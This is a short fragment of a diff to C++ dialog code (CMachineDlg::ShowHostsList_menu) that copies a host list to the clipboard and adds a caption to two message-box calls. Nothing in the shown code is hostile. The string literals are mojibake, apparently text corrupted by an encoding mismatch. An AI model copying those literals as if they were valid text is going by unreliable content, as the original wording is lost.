MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
default: default:
@@ -1611,7 +1611,7 @@ void CMachineDlg::ShowHostsList_menu()
Data += _T("\r\n"); Data += _T("\r\n");
} }
SetClipboardText(Data); SetClipboardText(Data);
MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!")); MessageBox(_T("<EFBFBD>Ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>а<EFBFBD>!"), "<EFBFBD><EFBFBD>ʾ");
} }
break; break;
case 200: { case 200: {